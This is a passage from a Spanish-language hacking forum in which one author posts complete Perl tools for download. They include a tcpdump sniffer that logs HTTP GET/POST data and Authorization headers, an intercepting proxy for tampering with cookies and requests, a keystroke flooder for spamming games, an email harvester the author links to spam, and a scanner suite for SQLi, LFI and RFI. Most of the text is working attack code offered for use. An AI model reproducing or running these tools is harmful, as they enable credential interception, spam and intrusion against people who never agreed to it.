@ @    @  @@   @  @          @      @    @  @ @   @@   @@
@@     @  @ @  @  @          @      @    @  @ @   @@   @@
@@     @  @ @  @  @  @@@      @@@   @@@@@  @   @  @ @ @ @
@ @    @  @  @ @  @    @         @  @      @   @  @ @ @ @
@  @   @  @   @@  @    @         @  @      @@@@@  @  @  @
@   @  @  @   @@  @   @@     @   @  @     @     @ @  @  @
@    @ @  @    @   @@@ @      @@@   @     @     @ @     @


);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2014 == --\n";
}

# The End ?
#139
Perl / [Perl] DH Sniffer 0.3
Enero 18, 2014, 07:56:33 PM
Un simple sniffer en perl para capturar todo lo que pasa en los metodos GET y POST

El codigo :

Código: perl

#!usr/bin/perl
#DH Sniffer 0.3
#(C) Doddy Hackman 2014
#Credits :
#Based on :
#http://stackoverflow.com/questions/4777042/can-i-use-tcpdump-to-get-http-requests-response-header-and-response-body
#http://www.perlmonks.org/?node_id=656590
#http://stein.cshl.org/~lstein/talks/WWW6/sniffer/
#http://perlenespanol.com/foro/post36051.html
#Thanks to : Lincoln D. Stein , paulz and Explorer

use CGI;
use threads;
use URI::Escape;

$| = 1;

my $control = shift;

head();

if ( $control eq "" ) {
    print "\n[+] Sintax : $0 <option>\n";
    print "\n[++] Options :\n";
    print "\n[+] -g : Capture method GET\n";
    print "[+] -p : Capture method POST\n";
    print "\n[+] Example : sudo perl $0 -pg\n";
    copyright();
}

print "\n";

my $hilo_get  = threads->new( \&sniffer_get );
my $hilo_post = threads->new( \&sniffer_post );

$hilo_get->join;
$hilo_post->join;

sub sniffer_get {

    if ( $control =~ /g/ ) {

        open( GET, "/usr/sbin/tcpdump -lnx -s 1024 dst port 80 |" );

        while (<GET>) {

            if (/^\S/) {

                while ( $contenido =~
                    /(GET|POST|WWW-Authenticate|Authorization).+/g )
                {
                    print "\n[+] $ip = $name " . uri_unescape($&);
                    savefile( "logs", "\n[+] $ip = $name " . uri_unescape($&) );
                }

                undef $ip;
                undef $name;
                undef $contenido;

                ( $ip, $name ) =
                  /IP (\d+\.\d+\.\d+\.\d+).+ > (\d+\.\d+\.\d+\.\d+)/;

            }

            s/\s+//g;
            s/0x[abcdef\d]+://i;
            s/([0-9a-f]{2})/chr(hex($1))/eg;
            tr/\x1F-\x7E\r\n//cd;

            $contenido .= $_;

        }
    }
}

sub sniffer_post {

    if ( $control =~ /p/ ) {

        open( POST,
"tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' |"
        );
        while (<POST>) {

            if (/^\S/) {

                my $code = $_;

                $buscando = CGI->new($code);

                my @params = $buscando->param;

                foreach $par (@params) {

                    if ( $par =~ /\./ ) {
                        next;
                    }
                    else {
                        my $dataf = $buscando->param($par);
                        print "\n[+] $par " . " : " . $dataf;
                        savefile( "logs", "\n[+] $par " . " : " . $dataf );
                    }
                }
            }
        }
    }
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1];
    close SAVE;
}

sub head {
    print "\n-- == DH Sniffer 0.3 == --\n";
}

sub copyright {
    print "\n-- == (C) Doddy Hackman 2014 == --\n\n";
    exit(1);
}

# The End ?


Eso es todo.
#140
Perl / [Perl] ClapTrap IRC Bot 0.5
Enero 10, 2014, 12:10:27 PM
Hola acabo de mejorar mi bot para irc llamado ClapTrap (basado en el robot gracioso de borderlands) , el bot tiene los siguientes comandos :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

    Les dejo un video con ejemplos de uso :



    Si quieren bajar el codigo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Eso es todo.
#141
Perl / [Perl] Project Kakilles 0.3
Enero 05, 2014, 06:59:38 PM
Un simple script que hice como parodia del famoso programa Achilles , el kakilles viene por lo caca del programa.

Les dejo un video que tiene 3 ejemplos de uso :

* HTTP Header Injection
* Bypass Uploaders
* Cookie Handling

El video :



El codigo :

Código: perl

#!usr/bin/perl
#Project Kakilles 0.3
#(C) Doddy Hackman 2014

use HTTP::Proxy;
use HTTP::Proxy::BodyFilter::simple;
use HTTP::Proxy::BodyFilter::complete;

my $port;

head();

if ( $ARGV[1] ne "" ) {
    $port = $ARGV[1];
}
else {
    $port = 8080;
}

if ( $ARGV[0] eq "" ) {
    sintax();
    copyright();
}

$SIG{INT} = \&copyright;

my $logs       = "logs.txt";
my $leer_datos = "center.txt";

print "\n[+] Kakilles Online : $port ...\n";

my $server = HTTP::Proxy->new( port => $port );
$server->host();

$server->push_filter(
    mime     => undef,
    response => HTTP::Proxy::BodyFilter::complete->new()
);

$server->push_filter(
    mime     => undef,
    request  => HTTP::Proxy::BodyFilter::simple->new( \&enable ),
    response => HTTP::Proxy::BodyFilter::simple->new( \&enable2 )
);

$server->start();

sub enable {

    my @logs;

    my ( $self, $dataref, $message, $protocol, $buffer ) = @_;

    if ( $ARGV[0] =~ /p/ ) {

        if ( $message->content ne "" and $message->method eq "POST" ) {

            print
"\n########################################################################\n";
            print "[+] Method : " . $message->method;
            print "\n[+] Content : " . $message->content;
            savefile( $leer_datos, $message->content );
            print
"\n########################################################################\n";

            print "\n[+] Change ? [y/n] : ";
            chomp( my $rta = <stdin> );

            if ( $rta =~ /y/ ) {

                system_leida($leer_datos);

                my $source = abrir();
                $message->header( "content-length" => length($source) );
                $message->content($source);

                print "\n[+] Changed !\n";

            }
        }
    }

    if ( $ARGV[0] =~ /g/ ) {

        if ( $message->uri =~ /(.*)\?(.*)/ ) {

            print
"\n########################################################################\n";
            print "[+] GET : " . $message->uri;
            savefile( $leer_datos, $message->uri );
            print
"\n########################################################################\n";

            print "\n[+] Change ? [y/n] : ";
            chomp( my $rta = <stdin> );

            if ( $rta =~ /y/ ) {

                system_leida($leer_datos);

                my $source = abrir();

                $message->uri($source);

                print "\n[+] Changed !\n";

            }

        }

    }

    if ( $ARGV[0] =~ /a/ ) {

        print
"\n########################################################################\n";
        print "[+] User-Agent : " . $message->header("user-agent");
        savefile( $leer_datos, $message->header("user-agent") );
        print
"\n########################################################################\n";

        print "\n[+] Change ? [y/n] : ";
        chomp( my $rta = <stdin> );

        if ( $rta =~ /y/ ) {

            system_leida($leer_datos);

            my $source = abrir();

            $message->header( "user-agent" => $source );

            print "\n[+] Changed !\n";

        }
    }

    if ( $ARGV[0] =~ /o/ ) {

        print
"\n########################################################################\n";
        print "[+] Cookie : " . $message->header("cookie");
        savefile( $leer_datos, $message->header("cookie") );
        print
"\n########################################################################\n";

        print "\n[+] Change ? [y/n] : ";
        chomp( my $rta = <stdin> );

        if ( $rta =~ /y/ ) {

            system_leida($leer_datos);

            my $source = abrir();

            $message->header( "cookie" => $source );

            print "\n[+] Changed !\n";

        }
    }

}

sub enable2 {
    my ( $j, $k, $l, $m, $n ) = @_;

    if ( $ARGV[0] =~ /c/ ) {

        if ( $$k ne "" ) {

            print
              "\n##########################################################\n";
            print "[+] Content : " . $$k;
            savefile( $leer_datos, $$k );
            print
              "\n##########################################################\n";

            print "\n[+] Change ? [y/n] : ";
            chomp( my $rta = <stdin> );

            if ( $rta =~ /y/ ) {

                system_leida($leer_datos);

                my $source = abrir();

                $$k = $source;

                print "\n[+] Changed !\n";

            }

        }

    }

}

# Functions

sub system_leida {
    my $os = $^O;
    if ( $os =~ /Win/ig ) {
        system( "start " . $_[0] );
    }
    else {
        system( "sudo gedit " . $_[0] );
    }
}

sub abrir {
    open my $FILE, q[<], $leer_datos;
    my $word = join q[], <$FILE>;
    close $FILE;
    chomp $word;
    return $word;
}

sub savefile {
    unlink($leer_datos);
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub head {
    print "\n-- == Project Kakilles 0.3 == --\n";
}

sub copyright {
    print "\n-- == (C) Doddy Hackman 2014 == --\n\n";
    exit(1);
}

sub sintax {
    print "\n[+] Sintax : $0 <options> <port>\n";
    print "\n[?] Options ...\n\n";
    print "-g : Form with GET\n";
    print "-p : Form with POST\n";
    print "-a : Edit User-Agent\n";
    print "-c : Edit Content\n";
    print "-o : Edit Cookie\n";
    print "\n[+] Example : $0 -pc 666\n";
}

# The End ?


Si quieren bajar el codigo lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#142
Perl / [Perl] Project ParanoicScan 1.7
Enero 01, 2014, 12:55:36 AM
Como primer programa del 2014 les traigo la nueva version de mi ParanoicScan en su version 1.7 , hace tiempo ciertas personas robaron el codigo fuente de la anterior version de este programa , el tema es que no me molesto que usaran el codigo sino que solo le cambiaron el nombre del programa y el nombre del autor , no se molestaron en cambiar los nombres de la variables solo cambiaron el nombre del autor , por un momento dude en seguir compartiendo el codigo de este proyecto de 2 años de trabajo pero a pesar de eso voy a seguir compartiendo el codigo de este programa , ademas explorer (de perlenespanol) me recomendo hacer otra version de este programa para demostrar que era el verdadero autor asi que el programa tiene el doble de funciones y arregle un sin fin de bugs que habia en todo el codigo.

[++] Old Options

Google & Bing Scanner que ademas scannea :

* XSS
* SQL GET / POST
* SQL GET
* SQL GET + Admin
* Directory listing
* MSSQL
* Jet Database
* Oracle
* LFI
* RFI
* Full Source Discloure
* HTTP Information
* SQLi Scanner
* Bypass Admin
* Exploit FSD Manager
* Paths Finder
* IP Locate
* Crack MD5
* Panel Finder
* Console

[++] Fixes

  • Renovacion de paginas actuales para crack md5
  • Error en el scanner fsd
  • Error en el scanner http scan
  • Espacios entre texto demasiados molestos
  • Agregado array para bypass
  • Error en la leida de archivos

    [++] New options

  • Genera todos los logs en un archivo html
  • Incorpora useragent aleatorios y nuevos
  • Multi encoder/decoder :

    * Ascii
    * Hex
    * Url
    * Bin To Text & Text To Bin

  • PortScanner
  • HTTP FingerPrinting
  • CSRF Tool
  • XSS Scan
  • Generator para XSS Bypass
  • Generador de links para tiny url
  • Buscador y descargador de exploits en Exploit-DB
  • Mysql Manager
  • LFI Tools

    Un video con ejemplos de uso



    El programa lo pueden bajar desde los siguientes links :

    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
    You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

    Eso seria todo.
#143
Perl / [Perl] Come on Spam Now 0.1
Diciembre 31, 2013, 06:42:30 PM
Un simple script que hice para trolear hasta el infinito en juegos online u otras cosas en las cuales mandan un mensaje por cada enter.

El codigo

Código: perl

#!usr/bin/perl
#Come on Spam Now 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd

use Win32::GuiTest qw(SendKeys);
use Time::HiRes "usleep";

$|++;

head();

my $tiempo_final;

my $tiemponow = time;

print "[+] Text to Flood : ";
chomp( my $your_text = <stdin> );
print "\n[+] Duration of attack : ";
chomp( my $hasta = <stdin> );
print "\n[+] Sleep Time : ";
chomp( my $tiempo = <stdin> );

$hasta = $hasta + 10;

if ( $tiempo ne "" ) {
    $tiempo_final = $tiempo;
}
else {
    $tiempo_final = 0;
}

print "\n[+] Select the window to destroy\n";
print "\n[+] Wait 5 seconds\n";
sleep(5);
print "\n[+] Come on Spam Now !!!!!!!\n";

while ( time - $tiemponow < $hasta ) {

    sleep($tiempo_final);
    SendKeys($your_text);
    SendKeys("{ENTER}");

}

print "\n[+] Finished\n";

copyright();

#Functions

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#           Come On Spam Now 0.1              #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2013 == --");

    print "\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

#The End ?
#144
Perl / [Perl] Emails Extractor 0.2
Diciembre 27, 2013, 11:35:38 AM
Un simple script en Perl para buscar direcciones de correo en :

  • Un archivo de texto cualquiera
  • Una pagina
  • Usando un dork en google para scanear todas las paginas encontradas con el dork
  • Lo mismo que el anterior pero en bing

    El codigo.

    Código: perl

    #!usr/bin/perl
    #Email Extractor 0.2
    #(C) Doddy Hackman 2013
    #Credits : Regex based on
    #http://stackoverflow.com/questions/15710275/print-email-addresses-to-a-file-in-perl
    #Thanks to motherconfessor & amon

    use LWP::UserAgent;
    use URI::Escape;

    my $nave = LWP::UserAgent->new;
    $nave->agent(
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );
    $nave->timeout(10);

    my $buscador = qr/[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}/i
      ;    # Thanks to motherconfessor & amon
    my @emails;

    head();

    if ( $ARGV[0] eq "-file" ) {

        print "\n[+] Opening file ...\n";

        if ( -f $ARGV[1] ) {

            my $code = openfile( $ARGV[1] );

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

            my @emails = repes(@emails);

            print "\n[+] Mails Found : " . int(@emails) . "\n";

            for (@emails) {
                savefile( $ARGV[2], $_ );
            }

        }
        else {
            print "\n[-] File not found\n";
        }

    }
    elsif ( $ARGV[0] eq "-google" ) {

        print "\n[+] Searching in Google ...\n";

        my @links = google( $ARGV[1], $ARGV[2] );

        print "[+] Scanning [" . int(@links) . "] pages ...\n";

        for my $ink (@links) {
            my $code = toma($ink);

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[2], $_ );
        }

    }
    elsif ( $ARGV[0] eq "-bing" ) {

        print "\n[+] Searching in Bing ...\n";

        my @links = bing( $ARGV[1], $ARGV[2] );

        print "[+] Scanning [" . int(@links) . "] pages ...\n";

        for my $ink (@links) {
            my $code = toma($ink);

            while ( $code =~ /($buscador)/g ) {
                my $email = $1;
                push( @emails, $email );
            }

        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[3], $_ );
        }

    }
    elsif ( $ARGV[0] eq "-page" ) {

        my $code = toma( $ARGV[1] );

        print "\n[+] Loading page ...\n";

        while ( $code =~ /($buscador)/g ) {
            my $email = $1;
            push( @emails, $email );
        }

        my @emails = repes(@emails);

        print "\n[+] Mails Found : " . int(@emails) . "\n";

        for (@emails) {
            savefile( $ARGV[2], $_ );
        }

    }
    else {
        sintax();
    }

    copyright();

    # Functions

    sub bing {

        my ( $a, $b ) = @_;
        for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
            my $code =
              toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );

            while ( $code =~ /<h3><a href="(.*?)"/mig ) {
                push( @founds, $1 );
            }
        }
        my @founds = repes( cortar(@founds) );
        return @founds;
    }

    sub google {
        my ( $a, $b ) = @_;
        my @founds;
        for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
            $code = toma(
                "http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" );
            while ( $code =~ /(?<="r"><. href=")(.+?)"/mig ) {
                my $url = $1;
                if ( $url =~ /\/url\?q\=(.*?)\&amp\;/ ) {
                    push( @founds, uri_unescape($1) );
                }
            }
        }
        my @founds = repes( cortar(@founds) );
        return @founds;
    }

    sub cortar {
        my @nuevo;
        for (@_) {
            if ( $_ =~ /=/ ) {
                @tengo = split( "=", $_ );
                push( @nuevo, @tengo[0] . "=" );
            }
            else {
                push( @nuevo, $_ );
            }
        }
        return @nuevo;
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    sub savefile {

        if ( $_[0] eq "" ) {
            open( SAVE, ">>logs.txt" );
        }
        else {
            open( SAVE, ">>" . $_[0] );
        }

        print SAVE $_[1] . "\n";
        close SAVE;
    }

    sub openfile {
        open my $FILE, q[<], $_[0];
        my $word = join q[], <$FILE>;
        close $FILE;
        return $word;
    }

    sub repes {
        my @limpio;
        foreach $test (@_) {
            push @limpio, $test unless $repe{$test}++;
        }
        return @limpio;
    }

    sub sintax {
        print "\n[+] Sintax : $0 <options> <logs>\n";
        print "\n[+] Examples : \n\n";
        print "[+] $0 -file test.txt logs.txt\n";
        print "[+] $0 -google 50 mailist logs.txt\n";
        print "[+] $0 -bing 50 mailist logs.txt\n";
        print "[+] $0 -page http://localhost/index.php logs.txt\n";
    }

    sub head {
        print "\n-- == Email Extractor 0.2 == --\n";
    }

    sub copyright {
        print "\n-- == (C) Doddy Hackman 2013 == --\n\n";
        exit(1);
    }

    #The End ?


    Mostraria un ejemplo de uso pero puedo tener problemas cuando el script devuelve como 500 mails ajenos claramente para spam xD.
#145
Perl / [Perl] PirateBay Manager 0.3
Diciembre 22, 2013, 08:27:11 PM
Un simple script para usar en Windows para bajar torrents desde la famosa pagina llamada PirateBay.

El codigo.

Código: perl

#!usr/bin/perl
#PirateBay Manager 0.3
#(C) Doddy Hackman 2013

use LWP::UserAgent;
use Time::HiRes "usleep";

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

my $requisito = "C:/Archivos de programa/uTorrent/uTorrent.exe";

head();

print "[+] Write the search : ";
chomp( my $busqueda = <stdin> );

$busqueda =~ s/ /%20/;

print "\n[+] Searching ...";

my $code = toma( "http://thepiratebay.se/search/" . $busqueda . "/0/99/0" );

my @links;
$contador = -1;

while ( $code =~
/(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)/migs
  )
{

    my $nombre         = $2;
    my $link_torrent   = magnet . $4;
    my $limpiando_data = $6;
    my $data;
    my $seeders  = $8;
    my $leechers = $10;

    if ( $limpiando_data =~ /(.*), ULed by </ ) {
        $limpiando_data_2 = $1;
        $limpiando_data_2 =~ s/&nbsp;/ /migs;
        $data = $limpiando_data_2;
    }

    $contador++;

    print "\n\n[+] ID : " . $contador;
    print "\n[+] Name : " . $nombre;
    push( @links, $link_torrent );
    print "\n[+] Data : " . $data . ", Seeders $seeders, Leechers $leechers";

}

print "\n\n[+] ID to download : ";
chomp( my $id_to = <stdin> );

print "\n[+] Executed !\n";

system( $requisito, $links[$id_to] );

copyright();

## Functions

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#           PirateBay Manager 0.3             #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2013 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?


Ejemplo de uso.

Código: text

C:\Documents and Settings\Doddy\Escritorio\Warfactory VIII>piratebay.pl

#=============================================#
#           PirateBay Manager 0.3             #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# The End ?                                   #
#=============================================#


[+] Write the search : batman

[+] Searching ...

[+] ID : 0
[+] Name : Batman and Robin v2 25 (2014)(2 cvrs)(1440+2048px-HD)(BrightEyes
[+] Data : Uploaded 11-23 03:43, Size 89.67 MiB, Seeders 24, Leechers 5

[+] ID : 1
[+] Name : Batman '66 022 (2013) (digital) (Son of Ultron-Empire) (- Nem -)
[+] Data : Uploaded 11-27 14:25, Size 40.39 MiB, Seeders 25, Leechers 1

[+] ID : 2
[+] Name : Batman O Retorno (1992) DVDRip Dublado Repostagem
[+] Data : Uploaded 11-25 20:58, Size 811.15 MiB, Seeders 0, Leechers 5

[+] ID : 3
[+] Name : Batman O Retorno (1992) DVDRip Dublado By Eliasjustino
[+] Data : Uploaded 11-25 19:10, Size 811.15 MiB, Seeders 1, Leechers 0

[+] ID : 4
[+] Name : BATMAN - LI'L GOTHAM 002 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:10, Size 37.15 MiB, Seeders 10, Leechers 2

[+] ID : 5
[+] Name : BATMAN - LI'L GOTHAM 001 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:09, Size 38.28 MiB, Seeders 10, Leechers 2

[+] ID : 6
[+] Name : BATMAN - LI'L GOTHAM 023 (2013) (digital) (Son of Ultron-Empire)
[+] Data : Uploaded 11-25 11:21, Size 30.81 MiB, Seeders 10, Leechers 1

[+] ID : 7
[+] Name : Batman 1966 Complete Season 3 Uncut TV RIP
[+] Data : Uploaded Y-day 07:43, Size 5.19 GiB, Seeders 12, Leechers 6

[+] ID : 8
[+] Name : Batman Arkham Origins (Update 7 + 6 DLC) Repack by z10yded
[+] Data : Uploaded Y-day 04:00, Size 8.11 GiB, Seeders 163, Leechers 230

[+] ID : 9
[+] Name : Batman.Arkham.Origins.Update.v2.0.Incl.DLC-RELOADED
[+] Data : Uploaded 11-27 19:27, Size 308.21 MiB, Seeders 125, Leechers 14

[+] ID : 10
[+] Name : Batman The Dark Knight 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-27 15:27, Size 23.32 MiB, Seeders 81, Leechers 5

[+] ID : 11
[+] Name : Batman - Long Shadows
[+] Data : Uploaded 11-27 13:10, Size 59.59 MiB, Seeders 31, Leechers 2

[+] ID : 12
[+] Name : Batman.Arkham.Trilogy-R.G. Mechanics
[+] Data : Uploaded 11-27 05:05, Size 25.36 GiB, Seeders 41, Leechers 67

[+] ID : 13
[+] Name : Batman.Arkham.Origins.Update.v20131125-FTS
[+] Data : Uploaded 11-26 21:43, Size 253.1 MiB, Seeders 19, Leechers 2

[+] ID : 14
[+] Name : Batman Arkham Origins - FULL GAME PC - LAST UPDATES
[+] Data : Uploaded 11-24 12:50, Size 16.51 GiB, Seeders 17, Leechers 52

[+] ID : 15
[+] Name : Damian - Son of Batman 02 (of 04) (2014) (Digital) (Nahga-Empire
[+] Data : Uploaded 11-27 13:39, Size 45.2 MiB, Seeders 188, Leechers 24

[+] ID : 16
[+] Name : BATMAN - KNIGHTFALL Volume 1 to 3 (DC) (Digital) (TheHand-Empire
[+] Data : Uploaded 11-19 17:21, Size 2.52 GiB, Seeders 29, Leechers 7

[+] ID : 17
[+] Name : BATMAN '66  021 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-21 01:02, Size 68.39 MiB, Seeders 9, Leechers 1

[+] ID : 18
[+] Name : BATMAN AND TWO-FACE 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-20 19:44, Size 27.07 MiB, Seeders 43, Leechers 0

[+] ID : 19
[+] Name : BATMAN '66  020 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-14 14:47, Size 71.7 MiB, Seeders 5, Leechers 1

[+] ID : 20
[+] Name : BATMAN - SUPERMAN 005 (2013) (Webrip) (2 covers) (The Last Krypt
[+] Data : Uploaded 11-06 13:36, Size 43.09 MiB, Seeders 32, Leechers 1

[+] ID : 21
[+] Name : Batman - Legends of the Dark Knight 077 (2013)(OlJoe-DCP)
[+] Data : Uploaded 11-20 13:05, Size 12.53 MiB, Seeders 13, Leechers 0

[+] ID : 22
[+] Name : Batman - Ego (2000).cbr (- Nem -)
[+] Data : Uploaded 11-17 17:28, Size 15.34 MiB, Seeders 13, Leechers 0

[+] ID : 23
[+] Name : Batman Beyond 2.0 (001 - 008) (ongoing) (- Nem -)
[+] Data : Uploaded 11-17 17:18, Size 201.42 MiB, Seeders 21, Leechers 3

[+] ID : 24
[+] Name : Batman Beyond 2.0 008 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:16, Size 29.28 MiB, Seeders 10, Leechers 0

[+] ID : 25
[+] Name : Batman Beyond 2.0 007 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:14, Size 24.96 MiB, Seeders 8, Leechers 0

[+] ID : 26
[+] Name : Batman Beyond 2.0 006 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:13, Size 25.21 MiB, Seeders 8, Leechers 0

[+] ID : 27
[+] Name : Batman v2 25 (2014) (2 covers) (1440+2048px-HD) (theProletariat-
[+] Data : Uploaded 11-15 19:20, Size 113.44 MiB, Seeders 26, Leechers 4

[+] ID : 28
[+] Name : Batman.O.Cavaleiro.das.Trevas_P1 e 2 PTBR
[+] Data : Uploaded 11-14 07:16, Size 543.94 MiB, Seeders 6, Leechers 0

[+] ID : 29
[+] Name : Batman - Ano Um (2011) 720p HD Dublado / Dual Audio pt-BR
[+] Data : Uploaded 11-13 18:05, Size 501.99 MiB, Seeders 37, Leechers 3

[+] ID to download : 0

[+] Executed !


-- == (C) Doddy Hackman 2013 == --

#146
Perl / [Perl] Shodan Tool 0.2
Diciembre 20, 2013, 09:35:03 PM
Un simple script en Perl para realizar busquedas en Shodan usando el API que hicieron para Perl.

El codigo.

Código: perl

#!usr/bin/perl
# Shodan Tool 0.2
# (C) Doddy Hackman 2013

# Install the dependencies
# sudo perl -MCPAN -e 'install CGI::Enurl'
# sudo perl -MCPAN -e 'install JSON::XS'
# sudo perl -MCPAN -e 'install HTTP::Request::Common'
# Install Shodan
# curl -OL http://github.com/downloads/achillean/shodan-perl/Shodan-0.3.tar.gz
# tar zxvf Shodan-0.3.tar.gz
# cd Shodan-0.3
# perl Makefile.PL
# make
# sudo make install

use Shodan::WebAPI;

$SIG{INT} = \&copyright;

$your_key = "fuck you";    # Your Api Key

head();

unless ( $ARGV[0] ) {
    print "\n[+] Sintax : $0 <search>\n";
}
else {

    print "\n[+] Searching ...\n";

    $shell_shodan = new Shodan::WebAPI($your_key);
    $resultados   = $shell_shodan->search( $ARGV[0] );

    @encontrados = @{ $resultados->{"matches"} };

    for ( $i = 0 ; $i < $#encontrados ; ) {

        print "\n[+] Search Number : " . $i . "\n";

        if ( $encontrados[$i]->{country_name} eq "" ) {
            print "[+] Country : Not Found\n";
        }
        else {
            print "[+] Country : " . $encontrados[$i]->{country_name} . "\n";
        }
        if ( $encontrados[$i]->{ip} eq "" ) {
            print "[+] IP : Not Found\n";
        }
        else {
            print "[+] IP : " . $encontrados[$i]->{ip} . "\n";
        }

        print "[+] Hostnames: ",
          join( "\t", @{ $encontrados[$i]->{hostnames} } ), "\n";

        print "\n";

        if ( $encontrados[$i]->{os} eq "" ) {
            print "[+] OS : Not Found\n";
        }
        else {
            print "[+] OS : " . $encontrados[$i]->{os} . "\n";
        }
        if ( $encontrados[$i]->{port} eq "" ) {
            print "[+] Port : Not Found\n";
        }
        else {
            print "[+] Port : " . $encontrados[$i]->{port} . "\n";
        }
        if ( $encontrados[$i]->{updated} eq "" ) {
            print "[+] Last Updated : Not Found\n";
        }
        else {
            print "[+] Last Updated : " . $encontrados[$i]->{updated} . "\n";
        }

        print "\n[Data Start]\n" . $encontrados[$i]->{data} . "\n[Data End]\n";

        $i++;

        if ( $i % 5 == 0 ) {
            print "\n[+] Press enter to show more\n";
            <STDIN>;
        }
    }
}

copyright();

# Functions

sub head {
    print "\n-- == Shodan Tool 0.2 == --\n";
}

sub copyright {
    print "\n-- == (C) Doddy Hackman 2013 == --\n";
    exit(1);
}

# The End ?


Un ejemplo de uso.

Código: text

doddy@doddy-desktop:~/Escritorio/HackingToolz/Warfactory IX/Shodan$ perl shodantool.pl "facultad"

-- == Shodan Tool 0.2 == --

[+] Searching ...

[+] Search Number : 0
[+] Country : Spain
[+] IP : 193.147.172.36
